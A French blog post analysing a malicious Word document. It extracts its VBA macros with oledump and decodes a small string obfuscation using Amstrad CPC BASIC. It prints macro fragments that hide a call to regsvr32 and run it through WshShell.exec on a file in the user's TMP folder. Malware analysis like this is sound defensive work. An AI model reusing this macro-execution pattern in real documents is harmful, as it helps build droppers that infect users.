Analyse statique d’un Word malveillant avec l’aide d’un Amstrad CPC

J’ai récupéré il y a quelques jours un document Word très suspect, en effet son taux de détection sur VirusTotal était élevé, 17/62 :

J’ai donc commencé cette analyse à l’aide de l’outil « oledump » de Didier Stevens afin de voir si ce document contenait des macros, et bien oui (les 3 « M ») :

J’ai ensuite extrait les macros de ce document Word toujours à l’aide de « oledump ».

Le code n’était pas spécialement obfusqué, juste des noms de fonction et de variable à rallonge, rien de méchant.

Ce qui est d’emblée suspect c’est l’appel à la fonction « exec » depuis un objet de type « WshShell » :

Dim de4f1856 As New WshShell
Call de4f1856.exec(d088f7a6 & " " & ed38e7bb)

Mais quel sont les valeurs des arguments passés à « exec », d088f7a6 et ed38e7bb ?

En cherchant dans le code, on s’aperçoit que d088f7a6 est une chaine de caractères retournée par la fonction c2ec170d :

Function d088f7a6()
d088f7a6 = c2ec170d("rd0e01gb0sfev9ar013792eb")
End Function

En remontant le code on trouve bien cette fonction c2ec170d :

Function c2ec170d(c553066f)
For bc6602fc = 1 To Len(c553066f) Step 3
e8a444c7 = e8a444c7 & Mid(c553066f, bc6602fc, 1)
Next
c2ec170d = e8a444c7
End Function

OK, c’est une petite fonction qui manipule des caractères.

L’auteur a voulu masqué le résultat de cet appel :

c2ec170d("rd0e01gb0sfev9ar013792eb")

La fonction étant toute petite, soit on la déroule à la main, ce qui est vraiment trivial soit on l’émule.

Comme en parallèle j’étais en train de jouer à un vieux jeu sur Amstrad CPC, je me suis dit que j’allais utiliser le Basic de l’Amstrad !

J’ai donc simplement recopier le code de la fonction c2ec170d (en la simplifiant au passage) et ensuite un petit « RUN » pour obtenir le résultat.

Voici donc le résultat de l’émulation sous un Amstrad CPC (et oui un émulateur, WinAPE car snif je n’ai plus de vrai Amstrad…) :

On y est, l’auteur a voulu masqué l’appel à l’exécutable « regsvr32 ».

Je pense que cette petite obfuscation était simplement là pour bypasser des outils de détection en « pattern matching ».

Quant au deuxième argument de la fonction « exec », ed38e7bb, il n’est pas obfusqué, il ‘agit du chemin d’un fichier « jpg » dans le répertoire TMP de l’utilisateur :

Function ed38e7bb()
ed38e7bb = Environ("tmp") & "\1.jpg"
End Function

Voila je me suis arrêté là pour l’analyse statique. En effet à partir du moment où il y a un appel à regsvr32 dans un document Word ce n’est pas bon signe, c’est bien un malware.

Dans un prochain post on passera à l’analyse dynamique.